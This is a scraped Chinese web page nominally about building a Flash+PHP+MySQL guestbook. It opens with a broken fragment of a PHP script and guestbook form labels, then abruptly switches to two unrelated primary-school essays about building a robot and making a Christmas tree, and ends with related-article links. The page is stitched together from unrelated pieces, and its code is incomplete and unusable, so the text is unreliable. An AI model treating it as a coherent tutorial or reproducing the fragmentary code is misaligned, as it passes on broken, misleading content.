echo “谢谢你发表留言,将自动显示留言内容”;
echo “
”;
echo “如果你的浏览器没有自动的返回到留言簿首页,?
请点这里返回.”;
echo “”;
exit;
}
?>
index.html 文件
谢谢你的留言!
我的留言本
首先感谢你的留言,你的每一句话我都会仔细阅读!!!
呢称:(不能为空)
OICQ号码:
e-mail:
个人主页:
主题:
内容:
篇10:制作机器人
今天,我们五六年纪一起到下城区青少年宫学习。我报的是制作机器人这一个项目。
一走进教室,就看到一位瘦瘦高高的女老师。老师给我们安排好位子,分好制作机器人的用具,三人一组。上课时间了到了,老师让我们开始制作机器人。我打开老师分配的盒子,都是一些积木:有细长的、有短小的、有宽厚的、有扁平的、有弧形的。我们三人一块一块细心的拼着;先用四个宽厚的长方形当主梁做外框,再用两根细长的弧形梁把两个马达分别斜着固定在框架上,然后用两根纤细的轴穿过梁上的孔连接到马达,给它安上齿轮,再在机器人的尾部安上两个细长的轴,两侧分别安装好齿轮,并在机器人的身上也安上齿轮,再用一根细长的弧形轴把机器人的头部和尾部的齿轮连接起来,最后再给四个轴分别安装上可以滑动的轮子,这样我们三个人做的机器人就大功告成了!老师让我们把完成好的机器人交给她,她替我们保存起来。最后老师带着我们大家在一条墙壁上挂满诗画的走廊上行走,让我们观看那些热爱诗画的名人伯伯创作的艺术品!
这次活动让我明白了一个道理:团队合作的力量是无法想象的,一次团队就是一次合作,我们要和队友友好沟通,这样就会排除一切困难!
上一篇:心中的舞台作文600字
下一篇:我爱书 相关推荐 社会主义核心价值观作文400字 詹天佑,我想对你说作文450字 同学对我的关爱作文600字 摸同桌 我的家乡——中山作文500字 热爱家乡,放飞梦想作文800字 我的座右铭——失败乃成功之母 不一样的周末 记一次辩论会作文450字 看图写话:文明只差一步 与法治同行演讲稿 我的新家在月球作文400字
篇11:制作圣诞树
12月19日的下午,我参加了一次晨报组织的“制作圣诞树、花环”的活动。让我不仅非常开心,而且还受益匪浅!刚走进“东魅儿童画室”时,有一位漂亮的大姐姐迎了上来,经过介绍,知道了这位漂亮的大姐姐,就是“手工达人”------灵素姐姐啦!开始了,灵素姐姐让我们分成两组,一组做圣诞树,一组做花环。我做圣诞树。灵素姐姐说:“我们在这里,不用卡纸,而用一种新东西来做------那就是‘不织布’。”“咦?‘不织布’是什么东西? 怎么能不用卡纸呢?”我歪着脑袋说。“其实,用‘不织布’做更环保,而且做得也很漂亮!”灵素老师的一句话令我恍然大悟。“开工咯!”我先用一张深绿色的‘不织布’做圣诞树身。然后,在它顶端用黄色‘不织布’ 剪出了七颗星星和六颗小铃铛。一颗星星放在“头顶”,其他的六颗星星分别放在圣诞树身的左右两侧,一边三颗。而星星就“挂”在圣诞树的树梢上吧。接着,又用红色‘不织布’ 剪出了爱心、糖果、圣诞袜等装饰品。最后,又在一张粉色‘不织布’上,剪出了一个个小蘑菇和小酒杯。“噢!大功告成喽!”我兴奋地大叫。“咦?你这个圣诞树怎么没有腿啊?”一个旁边的同学问到。“啊?哦,不好意思,我忘了。”我挠了挠头,笑了笑。又拿起一张棕色‘不织布’剪了个圣诞树的底子。最后,灵素老师又向我们介绍了一种新东西------热熔枪。有了热熔枪,我的作品很快就成形了。这场“制作圣诞树和花环的活动”可真有趣啊! 三牌楼小学 五(3)班 晨报小记者 于玥 指导老师:樊季秋 联系电话: 简评:用心用手用情掘出生活的快乐源泉!
★ php实习报告
★ 实训心得总结
★ 实习周记计算机
★ 和LNMP相比,LNMPA是否效率更高?linux服务器应用
【FLASHFlash+php+mysql简单留言本制作(推荐11篇)】相关文章:
网页设计实习报告2023-10-30
写网站设计开题报告2022-05-06
毕业论文的引用2022-08-04
个人简历范文软件2022-12-18
闪存博客SQL注入脚本安全2023-09-01
学习网页设计课程心得体会2024-01-21
网页设计实习报告总结2022-05-06
Wordpress自动将包含长链接的评论标记为垃圾评论的方法2022-05-06
8250的初始化2022-05-04
计算机实习总结字2023-09-18